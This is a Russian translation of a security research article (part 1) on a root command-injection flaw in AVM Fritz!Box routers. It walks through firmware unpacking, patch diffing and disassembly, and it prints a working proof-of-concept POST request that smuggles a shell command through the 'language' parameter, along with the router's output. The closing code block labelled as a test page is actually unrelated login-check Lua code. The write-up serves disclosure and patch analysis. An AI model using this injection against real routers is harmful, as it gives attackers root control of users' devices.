21.07.2014

AVM Fritz!Box root RCE: От патча до модуля Metasploit – Часть 1

image

В этой статье в деталях рассматривается процесс написания эксплоита (модуля в Metasploit), начиная от сравнения прошивок для DSL-роутеров на базе MIPS и заканчивая полноценной версией модуля.

Автор: Фабиан Бренляйн (Fabian Bräunlein)

В этой статье в деталях рассматривается процесс написания эксплоита (модуля в Metasploit), начиная от сравнения прошивок для DSL-роутеров на базе MIPS и заканчивая полноценной версией модуля. Практически во всех устройствах Fritz!Box (включая WLAN-повторители), занимающих 60% рынка в Германии, была/есть подобная уязвимость. Патчи были выпущены между 7 и 25 февраля.

Информация к размышлению:

Из-за небезопасного вызова system() (его параметры формируются на основе неэкранированных данных, вводимых пользователем) в файле /usr/www/cgi-bin/webcm на большинстве устройств Fritz!Box возможен запуск произвольных команд от имени суперпользователя.

Таким образом, при помощи атаки pre-auth Cross-Site-Request-Forgery, большинство DSL-роутеров в Германии могут/могли быть скомпрометированы при посещении сайта, инициирующего вредоносных GET-запрос.

Предыстория вопроса

В начале февраля 2014 года от немецких владельцев Fritz!Box поступила масса жалоб о непомерных телефонных счетах. В частности, злоумышленники инициировали международные телефонные звонки стоимостью 4200 евро за полчаса разговора. В ответ на претензии 6 февраля компания AVM выпустила бюллетень безопасности. Выдержка из уведомления:

В ходе анализа инцидентов выяснилось, что злоумышленники получили учетные записи к Fritz!Box. Выясняется способ получения учетных записей. Атаке подверглись пользователи, которые разрешили удаленный доступ к своему устройству через интернет.

Кроме того, всем владельцам Fritz!Box было рекомендовано отключить удаленный доступ. Похожее уведомление было выслано всем пользователем MyFritz! (сервис удаленной поддержки клиентов компании AVM). Через некоторое время компания AVM заявила, что «злоумышленникам удалось обойти механизм аутентификации утилиты для удаленной поддержки», после чего начала рассылать новую версию Fritz!OS-Firmware. После 7 февраля обновления получили большинство пользователей (полный список моделей устройств).

В списке устройств с обновленной прошивкой отсутствуют старые модели (например, модель 3170) по причине того, что этих устройств отсутствует функция «звонок на телефон» (более подробно см. эту статью).

Позже выяснится, что функция «звонок на телефон» не имеет абсолютно никакого отношения к бреши, и отсутствие этой функции лишь влияет на финансовый выхлоп от эксплуатации уязвимости. Но нас это не особо волнует, поскольку кроме шелла нам ничего особо не нужно.

Будем надеяться, что настоящая причина в том, что в старых моделях отсутствует брешь, иначе, возможно, у нас будут устройства с неисправленной уязвимостью. Что касается самого факта, то подобные случаи периодически возникают, но в этот раз компания AVM сработала весьма оперативно, и мне не удалось поиграться с уязвимыми устройствами. Между тем, я решил исследовать прошивку модели Fritz!Box Fon 7113. Кажется, что версия 4.68, предназначенная только для немецких пользователей не содержит уязвимость, в то время как та же самая версия 4.68 (DACH-версия, предназначенная для Германии, Австрии и Швейцарии) брешь содержит.

17 февраля специалисты Heise Online опубликовали еще один отчет, из которого следовало, что после анализа патча удалось использовать уязвимость на роутере с отключенной функцией по удаленному администрированию. Для того чтобы загрузить файл с настройками (включая учетные данные) на их сервер, достаточно просто посетить вебсайт. Это заявление привлекло мое внимание.

Я решил потратить время на исследование патча еще и потому (помимо того, что затрагивается множество немецких пользователей), что этот случай не вызвал большого резонанса среди специалистов по безопасности. Моей конечной целью было создание модуля для Metasploit и написание этой заметки.

При написании статьи я ставил перед собой следующие задачи:

  • рассказать о проблеме широкой общественности (уже после того, как выйдет окончательный патч, чтобы не подвергать опасности миллионы пользователей).
  • предоставить админам и пентестерам простой способ проверки присутствия/отсутствия уязвимости.
  • рассказать более подробно о методологии исследования прошивки для устройств на базе MIPS.

Полагаю через два месяца после выхода обновленной прошивки уже можно опубликовать некоторые технические подробности (и модуль для тестирования устройства Fritz!Box). К тому же, многие устройства уже пропатчены провайдерами через TR-069.

[Примечание: издание Heise Online уже опубликовало новый отчет об уязвимостях и способах защиты роутеров в журнале, который поступил в продажу 7 апреля. Они также добавили «тестовую страницу», однако если вы им не доверяете, в конце статьи я тоже добавил тестовую страницу, которая выглядит чуть более понятной (особенно после прочтения данной заметки)].

Некоторые выдержки из отчета Heise Online:

[…] брешь, которая «дремала» в прошивке Fritzbox в течение нескольких лет, не смогли найти 4 независимые компании.

Выводы по результатам тестирования:

Из 100 тысяч устройств в каждом третьем была уязвимость.

Даже если не брать в расчет процент уязвимых устройств: из-за большой популярности Fritzbox до сих пор остаются дырявыми миллионы роутеров.

На тестовой странице реализован способ для эксплуатации уязвимости.

Больше не буду отнимать ваше время на введение и персональную мотивацию. Засучим рукава и перейдем к делу.

Распаковка прошивки

Вначале необходимо исследовать уязвимую и исправленную прошивки Fritz!OS-Firmware одного и того же устройства (чтобы не тратить время на детали, не имеющие отношение к делу). Текущие версии прошивок можно скачать с ftp-сервера компании AVM, однако, к сожалению, все предыдущие версии оттуда удалены, что, впрочем, вполне обосновано. Однако существует зеркало этого сервера, где, кажется, можно найти все необходимые версии прошивок. Настоятельно рекомендую воссоздать весь проект и воспользоваться версиями, которые используются где-то на просторах интернета.

Помимо огромного сообщества владельцев Fritz!Box существует модифицированная и расширенная версия Fritz!OS под название freetz. При помощи утилит, идущих в комплекте freetz, вы можете распаковывать, модифицировать и запаковывать прошивку обратно.

В этот раз мы будем использовать freetz-1.2, однако в другой раз воспользуемся binwalk/unsquashfs. Для начала устанавливаем все зависимости:

$ sudo apt-get -y install git graphicsmagick subversion gcc g++ binutils autoconf automake automake1.9 libtool make bzip2 libncurses5-dev zlib1g-dev flex bison patch texinfo tofrodos gettext pkg-config ecj fastjar realpath perl libstring-crc32-perl gawk python libusb-dev unzip intltool libacl1-dev libcap-dev libc6-dev-i386 lib32ncurses5-dev gcc-multilib

Перед клонированием репозитория необходимо выполнить команду umask с параметром 0022. При этом изменятся привилегии вновь созданных файлов. Нотация схожа с UNIX-вой, однако установка бита (1) означает, что с новых файлов будут убраны привилегии.

fabian@7a69:~/blog$ mkdir Fritz!Box && cd Fritz!Box
fabian@7a69:~/blog/Fritz!Box$ tmp_umask=$(umask)
fabian@7a69:~/blog/Fritz!Box$ svn co http://svn.freetz.org/branches/freetz-stable-1.2 freetz-1.2
fabian@7a69:~/blog/Fritz!Box$ umask $tmp_umask
fabian@7a69:~/blog/Fritz!Box$ cd ./freetz-1.2

Выполните команду make menuconfig после чего сразу же выйдите из графического интерфейса. Затем запустите команду 'make tools' и наслаждайтесь сообщениями с предупреждениями на экране. Последние строки должны выглядеть примерно так:

gcc -o tichksum ckmain.o cksum.o
make[1]: Verlasse Verzeichnis '/home/fabian/fritz.box/freetz-1.2/source/host-tools/TI-chksum-0.2'
cp /home/fabian/fritz.box/freetz-1.2/source/host-tools/TI-chksum-0.2/tichksum tools/tichksum
fabian@7a69:~/fritz.box/freetz-1.2$

Теперь скопируйте загруженные прошивки в папку ~/fritz.box и распакуйте их при помощи утилиты fwmod (ключ –u отвечает за распаковку, ключ –d – за директорию для распаковки):

fabian@7a69:~/blog/Fritz!Box/freetz-1.2$ ./fwmod -u -d ../unpatched ../FRITZ.Box_Fon_WLAN_7360.124.06.01.image

STEP 1: UNPACK
unpacking firmware image
splitting kernel image
unpacking filesystem image
unpacking var.tar
done.

fabian@7a69:~/blog/Fritz!Box/freetz-1.2$ ./fwmod -u -d ../patched ../FRITZ.Box_Fon_WLAN_7360.124.06.03.image

Сейчас у нас есть два папки с распакованными прошивками со стандартной линуксовой файловой системой, множество кода на Lua, который находится в директориях /usr/www* (что свидетельствует о том, что веб интерфейс написан на Lua), несколько библиотек и исполняемых файлов (без отладочной информации).

Поиск различий в прошивках

Теперь наша задача – найти различия между двумя прошивками. Для ее решения воспользуемся утилитой diff:

fabian@7a69:~/blog/Fritz!Box$ diff -r unpatched patched 2>/dev/null
Binärdateien unpatched/original/filesystem/bin/allcfgconv und patched/original/filesystem/bin/allcfgconv sind verschieden.
Binärdateien unpatched/original/filesystem/bin/ar7cfgctl und patched/original/filesystem/bin/ar7cfgctl sind verschieden.
[...]
Binärdateien unpatched/original/filesystem/etc/256K und patched/original/filesystem/etc/256K sind verschieden.
diff -r unpatched/original/filesystem/etc/init.d/rc.conf patched/original/filesystem/etc/init.d/rc.conf
333c333
< export CONFIG_VERSION="06.01"
---
> export CONFIG_VERSION="06.03"
[...]

(Извиняюсь за немецкий язык. Слово «verschieden» означает «различный»)

По результатам сравнения видно, что обновились номера версий в текстовых файлах и изменились 89 (из примерно 500 ((file -f $(find patched) | grep -i "elf\|data" | grep -viE 'image|text' | wc -l => 477)) бинарных файлов. Поскольку ELF-заголовок не содержит временную метку, изменились не все ELF-файлы. Однако, совершенно очевидно, при использовании другой версии компилятора или конфигурации компилятора на выходе будут создаваться измененные файлы, которые могут отличаться от предыдущих на несколько байт.

И все же после первого «заброса», можно подвести некоторые важные промежуточные итоги:

  • Не добавлено и не удалено ни одного файла.
  • Нет изменений в коде, написанном на Lua.

Однако наша задача – узнать не сам факт изменения файлов, а то, насколько они изменились. Для этого я использовал утилиту bsdiff, которая создает отдельный патч-файл с различиями между двумя бинарными файлами. При помощи полученного патча можно потом исправить первоначальный бинарный файл, используя утилиту bspatch.

Идея проста: мы сравниваем все первоначальные файлы с их измененными собратьями, а потом сортируем полученные патчи по размеру и находим бинарные файлы, которые изменились не сильно.

#!/bin/bash

out=./diffs
tmp=./tmp_bsdiff

rm $out

for currentFile in $(find ./unpatched/original/filesystem/usr/www -type f)
do
bsdiff $currentFile ./patched/${currentFile#*d/} $tmp
echo -e "$(du -b $tmp | cut -f 1)\t${currentFile#*d/}" >> $out
done

rm $tmp
sort -r $out -o $out

на выходе получаем следующее

3041 original/filesystem/usr/www/cgi-bin/luacgi
2041 original/filesystem/usr/www/cgi-bin/webcm
665 original/filesystem/usr/www/cgi-bin/nasupload_notimeout
275 original/filesystem/usr/www/cgi-bin/firmwarecfg
262 original/filesystem/usr/www/cgi-bin/capture_notimeout
261 original/filesystem/usr/www/cgi-bin/tr064cgi
257 original/filesystem/usr/www/cgi-bin/webtrace
[...]

Первыми кандидатами на исследование становятся файлы luacgi и webcm. Помимо того, что объем их изменений невелик, так они еще находятся в директории cgi-bin и, следовательно, отвечают за обработку данных, которые вводит пользователь, через Common Gateway Interface.

Анализ файла luacgi

Для анализа бинарных файлов нам необходим дизассемблер под архитектуру MIPS, и, возможно, дополнительный плагин, который покажет, в каком месте произошли изменения. Если вы сторонник программ с открытым исходным кодом, можете испытать утилиту radare2 (вместе с radiff) . Я же буду использовать IDA Pro (6.1). К сожалению, ни демо версия текущей версии дизассемблера, ни IDA Pro 5.0 не поддерживают архитектуру MIPS.

Еще нам потребуется плагин для сравнения бинарных файлов. Возможные варианты:

Несмотря на то, что BinDiff отображает красивые графики, я буду использовать patchdiff2 (просто распакуйте и положите файлы .p64 и .plw в папку с плагинами для IDA).

Загружаем непропатченный файл luacgi в IDA Pro.

Рисунок 1: Загрузка файла в IDA Pro

Выбираем пропатченную версию для сравнения (Ctrl+8):

Рисунок 2: Выбираем плагин для сравнения бинарных файлов

По результатам сравнения видны нетронутые функции (секция «identical»), несколько новых/старых функций (секция «unmatched») и одна измененная функция (секция «matched»).

Рисунок 3: Результаты сравнения двух файлов

В секции с новыми/старыми функциями сразу же бросается в глаза отсутствие импорта .system в новой версии прошивки. В то же время появились три новых импорта (на рисунке ниже выделены синим цветом), которые, как следует из их названия, весьма вероятно, отвечают за коммуникацию между процессами.

Рисунок 4: Новые импорты

Теперь посмотрим на измененную функцию. Кликаем правой кнопкой мыши и выбираем Display Graphs (или нажмите Ctrl+E):

Рисунок 5: Изменения, внесенные в функцию

В алгоритм внесены два изменения.

При увеличении верхнего прямоугольника видно, что перед открытием файла /var/temp_lang с правами на чтение выполняется несколько проверок на предмет того, что:

  • Размер входного параметра не более 4 байт
    • Каждый байт (вплоть до пустого байта, которым оканчивается строка) находится между 0x61 («a») и 0x61+0x1a («z») (sltui = Set on less than immediate unsigned).

В противном случае возникает ошибка.

Рисунок 6: В новую функцию добавлено несколько проверок

Если файл успешно открыт, функция считывает в буфер 16 байт и сравнивает его с переданными аргументами. Вначале происходит сравнение двух строк при помощи функции strlen, после чего выполняется memcmp.

Затем файл закрывается и, если строки идентичны, функция сразу же завершается. Иначе, первый байт введенной строки сравнивается с \0. Если проверка прошла удачно, файл /var/temp_lang удаляется при помощи вызова unlink, и строка msgsend ctlmgr temp_lang_changed копируется в буфер при помощи вызова snprintf.

Рисунок 7: Анализ входной строки

Полагая, что входной параметр не пустой, мы переоткрываем файл (теперь с правами на запись), кладем туда входную строку, закрываем и вновь вызываем snprintf для заполнения локальной переменной (той же самой переменной, которая использовалась для чтения содержимого /var/temp_lang). Так выглядит вызов на языке C:

snprintf(buf, 0x7F, "msgsend ctlmgr temp_lang_changed %s", function_parameter);

после этого заполненный буфер передается в системный вызов system.

Срываем джекпот

Управление параметром функции system, по сути, даст нам возможность инжектировать любые команды с максимальной длиной:

>>> print 0x7F - len("msgsend ctlmgr temp_lang_changed ") - 1, 'bytes.'
93 bytes.

[Примечание: здесь функция system() используется как интерпретатор команд и запускает все, что передается в параметре. Основная задача – выполнение функции msgsend с параметром ctlmgr (используемого как мета-интерфейса и ответственного за организационные задачи) в качестве приемника и, например, строкой temp_lang_changed en в качестве сообщения. Однако если мы управляем новой языковой переменной, то можем установить в нее, например, значение ; cat "food in cans", соединить две команды и выполнить их от имени суперпользователя.]

Как добраться до функции sub_403EEC

Рисунок 8: Цепочка взаимодействия функций

Из рисунка выше видно, что нужный нам код вызывается только из функции do_display_page. Рассмотрим повнимательнее место вызова sub_403EEC.

Рисунок 9: Место вызова функции sub_403EEC

Поскольку большая честь веб-интерфейса написана на Lua, должна быть связка между скриптовым языком и бинарными файлами. На рисунке выше видно, что функция из бинарного файла напрямую экспортируется в Lua путем установки соответствующего поля во время выполнения LuaScript_MakeFunction. Интересующая нас функция sub_403EEC доступна в Lua через функцию set_temporary_language.

[Примечание: в архитектуре MIPS есть механизм Branch Delay Slot. Суть его заключается в том, часть инструкций после ответвления выполняется параллельно с инструкциями самого ответвления для максимального эффективного использования конвейера команд (pipeline). На Рисунке 9 как раз используется этот механизм, когда адрес функции sub_403EEC загружается в регистр a2 после ответвления LuaScript_MakeFunction]

Место запуска функции set_temporary_language

Поскольку Lua – скриптовый язык, у нас есть полный доступ к исходному коду. Поищем упоминания функции set_temporary_language:

fabian@7a69:~/blog/Fritz!Box$ grep -r -i set_temporary_language ./unpatched/
./unpatched/original/filesystem/usr/www/avm/assis/basic_first.lua:if box.set_temporary_language then
./unpatched/original/filesystem/usr/www/avm/assis/basic_first.lua:box.set_temporary_language(currlang)
Übereinstimmungen in Binärdatei ./unpatched/original/filesystem/usr/www/cgi-bin/luacgi.

Рисунок 10: Место вызова функции set_temprorary_language

Мы нашли место вызова функции set_temporary_language, в которую в качестве параметра передаются пользовательские данные (через box.post.language). Для того чтобы убедиться, что мы действительно нашли уязвимость, необходимо вызвать http://fritz.box/assis/basic_first.lua и настроить POST-запрос соответствующим образом (установить параметр «language» и некоторые другие значения).

Все параметры легко узнаются из скрипта Lua. Не буду утомлять вас долгими рассуждениями и приведу полную версию запроса вместе с ответом роутера:

POST /assis/basic_first.lua HTTP/1.1
Host: fritz.box
Content-Length: 125
Content-Type: application/x-www-form-urlencoded
sid=a2764031ef512dc0&prevdlg=dlg_country&country=049&annex=B&
needed=language%2Ccountry%2Cannex&language=de|%20uname%20-a&forward=

HTTP/1.1 200 OK
Connection: Keep-Alive
Keep-Alive: timeout=60, max=300
Linux fritz.fonwlan.box 2.6.32.60 #1 SMP Wed Dec 8 13:37:42 CET 2013 mips GNU/Linux
HTTP/1.0 303 See Other
Content-Length: 0

Возможно, вы уже заметили, что для того, чтобы использовать уязвимость, необходимо знать идентификатор сессии (Session ID), поскольку в строке 4 используется конструкция dofile("../templates/global_lua.lua") для запуска содержимого global_lua.lua.

Во второй части будет рассказано о том, как найти обойти это ограничение и как написать полноценный модуль для Metasploit. Также мы проверим заявление AMV о том, что старые версии Fritz!Box не нуждаются в обновлении.

Напоследок привожу обещанную тестовую страницу, которая эксплуатирует уязвимость.

package.path = "../lua/?.lua;../menus/?.lua;../help/?.lua;" .. (package.path or "")
require("dbg")
dbg.timestamp("global")
require("lualib")
g_tab_options = {}
function global_lua_check_sid_cb()
--Seiten auf denen kein Login nötig ist.
local no_login_page = {
["/login.lua"] = true,
["/logincheck.lua"] = true,
["/vergessen.lua"] = true,
["/restore.lua"] = true,
["/myfritz_email_verified.lua"] = true
}
if not gl.logged_in and not no_login_page[box.glob.script] then
--Es ist eine Seite auf der ich mich einloggen muss.
if box.get.xhr then
--es handelt sich um einen ajax request per get dann ein forbidden und keine Loginseite zurückgeben
require("http")
http.forbidden()
elseif box.post.xhr then
-- box.post.xhr, also ein POST per Ajax, da brechen wir einfach ab weil wir das allgemein nicht zulassen.
box.end_page()
else
--Kein Ajax und nicht eingelogged dann Fehlerbehandlung
local loc = "/login.lua"
local sep = "?"
loc = loc .. sep .. "page=" .. box.glob.script
sep = "&"
for name,value in pairs(box.get) do
if name:sub(-2)~="_i" then
loc = loc .. sep .. name .. "=" .. value
sep = "&"
end
end
if box.glob.inputsid then
loc = loc .. sep .. "sid=" .. box.glob.inputsid
end
require("http")
http.redirect(loc)
end
elseif gl.logged_in then
if box.get.xhr and gl.skipauth_sidchanged then
-- Eingelogged wg. skip_auth, aber die alte inputsid ist ungültig
require("http")
http.forbidden()
end
end
end
if not gl or not gl.security_zone or gl.security_zone == "box" then
if not g_check_sid_cb then
g_check_sid_cb = global_lua_check_sid_cb
end
require("check_sid")
end
require("log")
require("href")
require("config")
if next(box.post) then
require("general")
require("cmtable")
end
if box.get.stylemode and box.get.stylemode=="print" then
g_print_mode = true
end
dbg.timestamp("page")

comments powered by Disqus